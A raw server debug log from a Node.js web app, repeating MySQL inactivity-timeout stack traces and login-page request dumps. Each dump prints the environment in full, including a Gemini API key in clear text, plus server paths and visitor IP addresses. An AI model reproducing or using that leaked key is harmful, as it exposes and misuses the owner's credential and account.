    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-12 17:44:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-12 18:03:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-12 18:03:33' as DATETIME)"
}
2025-12-12T18:22:13.713Z server-connect:router Serving templateView /
2025-12-12T18:22:13.715Z server-connect:app Executing action step identify
2025-12-12T18:22:13.715Z server-connect:app options: { provider: 'security' }
2025-12-12T18:22:13.715Z server-connect:auth No login cookie found
2025-12-12T18:22:13.715Z server-connect:output identity: false
2025-12-12T18:22:13.715Z server-connect:app Executing action step restrict
2025-12-12T18:22:13.715Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T18:22:13.716Z server-connect:output restrict: undefined
2025-12-12T18:22:13.960Z server-connect:router Serving templateView /login
2025-12-12T18:22:13.960Z server-connect:app Executing action step identify
2025-12-12T18:22:13.960Z server-connect:app options: { provider: 'security' }
2025-12-12T18:22:13.961Z server-connect:auth No login cookie found
2025-12-12T18:22:13.961Z server-connect:output identity: false
2025-12-12T18:22:13.961Z server-connect:router Render template layouts/authentication
2025-12-12T18:22:13.961Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.115',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T18:22:13.960Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.115',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.115',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T18:35:30.250Z server-connect:router Serving templateView /
2025-12-12T18:35:30.251Z server-connect:app Executing action step identify
2025-12-12T18:35:30.251Z server-connect:app options: { provider: 'security' }
2025-12-12T18:35:30.251Z server-connect:auth No login cookie found
2025-12-12T18:35:30.251Z server-connect:output identity: false
2025-12-12T18:35:30.251Z server-connect:app Executing action step restrict
2025-12-12T18:35:30.251Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T18:35:30.252Z server-connect:output restrict: undefined
2025-12-12T18:35:30.577Z server-connect:router Serving templateView /login
2025-12-12T18:35:30.578Z server-connect:app Executing action step identify
2025-12-12T18:35:30.578Z server-connect:app options: { provider: 'security' }
2025-12-12T18:35:30.578Z server-connect:auth No login cookie found
2025-12-12T18:35:30.578Z server-connect:output identity: false
2025-12-12T18:35:30.578Z server-connect:router Render template layouts/authentication
2025-12-12T18:35:30.578Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.40',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T18:35:30.577Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.40',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.40',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T19:04:17.729Z server-connect:router Serving templateView /
2025-12-12T19:04:17.730Z server-connect:app Executing action step identify
2025-12-12T19:04:17.730Z server-connect:app options: { provider: 'security' }
2025-12-12T19:04:17.730Z server-connect:auth No login cookie found
2025-12-12T19:04:17.730Z server-connect:output identity: false
2025-12-12T19:04:17.730Z server-connect:app Executing action step restrict
2025-12-12T19:04:17.730Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T19:04:17.731Z server-connect:output restrict: undefined
2025-12-12T19:04:17.891Z server-connect:router Serving templateView /login
2025-12-12T19:04:17.891Z server-connect:app Executing action step identify
2025-12-12T19:04:17.891Z server-connect:app options: { provider: 'security' }
2025-12-12T19:04:17.892Z server-connect:auth No login cookie found
2025-12-12T19:04:17.892Z server-connect:output identity: false
2025-12-12T19:04:17.892Z server-connect:router Render template layouts/authentication
2025-12-12T19:04:17.892Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.141 Version/17.0 Mobile/15E148 Safari/604.1',
    'accept-language': 'en-US',
    accept: '*/*',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '34.34.253.18',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T19:04:17.891Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.34.253.18',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.141 Version/17.0 Mobile/15E148 Safari/604.1',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '34.34.253.18',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T19:05:43.347Z server-connect:router Serving templateView /
2025-12-12T19:05:43.348Z server-connect:app Executing action step identify
2025-12-12T19:05:43.348Z server-connect:app options: { provider: 'security' }
2025-12-12T19:05:43.348Z server-connect:auth No login cookie found
2025-12-12T19:05:43.348Z server-connect:output identity: false
2025-12-12T19:05:43.348Z server-connect:app Executing action step restrict
2025-12-12T19:05:43.348Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T19:05:43.348Z server-connect:output restrict: undefined
2025-12-12T19:05:43.698Z server-connect:router Serving templateView /login
2025-12-12T19:05:43.698Z server-connect:app Executing action step identify
2025-12-12T19:05:43.698Z server-connect:app options: { provider: 'security' }
2025-12-12T19:05:43.699Z server-connect:auth No login cookie found
2025-12-12T19:05:43.699Z server-connect:output identity: false
2025-12-12T19:05:43.699Z server-connect:router Render template layouts/authentication
2025-12-12T19:05:43.699Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,de;q=0.8,fr;q=0.7,nl;q=0.6,lb;q=0.5,es;q=0.4,pt;q=0.3',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'sec-fetch-site': 'none',
    'sec-ch-ua-mobile': '?0',
    connection: 'Keep-Alive',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="137", "Not A(Brand";v="24", "Google Chrome";v="137"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'x-forwarded-for': '142.147.89.214',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T19:05:43.698Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '142.147.89.214',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,de;q=0.8,fr;q=0.7,nl;q=0.6,lb;q=0.5,es;q=0.4,pt;q=0.3',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_CONNECTION: 'Keep-Alive',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="137", "Not A(Brand";v="24", "Google Chrome";v="137"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_X_FORWARDED-FOR': '142.147.89.214',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-12 19:32:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-12 19:32:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-12 19:45:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-12 19:45:01' as DATETIME)"
}
2025-12-12T20:17:31.013Z server-connect:router Serving templateView /
2025-12-12T20:17:31.014Z server-connect:app Executing action step identify
2025-12-12T20:17:31.014Z server-connect:app options: { provider: 'security' }
2025-12-12T20:17:31.014Z server-connect:auth No login cookie found
2025-12-12T20:17:31.014Z server-connect:output identity: false
2025-12-12T20:17:31.014Z server-connect:app Executing action step restrict
2025-12-12T20:17:31.014Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T20:17:31.015Z server-connect:output restrict: undefined
2025-12-12T20:17:32.174Z server-connect:router Serving templateView /login
2025-12-12T20:17:32.175Z server-connect:app Executing action step identify
2025-12-12T20:17:32.175Z server-connect:app options: { provider: 'security' }
2025-12-12T20:17:32.175Z server-connect:auth No login cookie found
2025-12-12T20:17:32.175Z server-connect:output identity: false
2025-12-12T20:17:32.175Z server-connect:router Render template layouts/authentication
2025-12-12T20:17:32.175Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '35.240.231.92',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T20:17:32.174Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.240.231.92',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '35.240.231.92',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-12 20:26:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
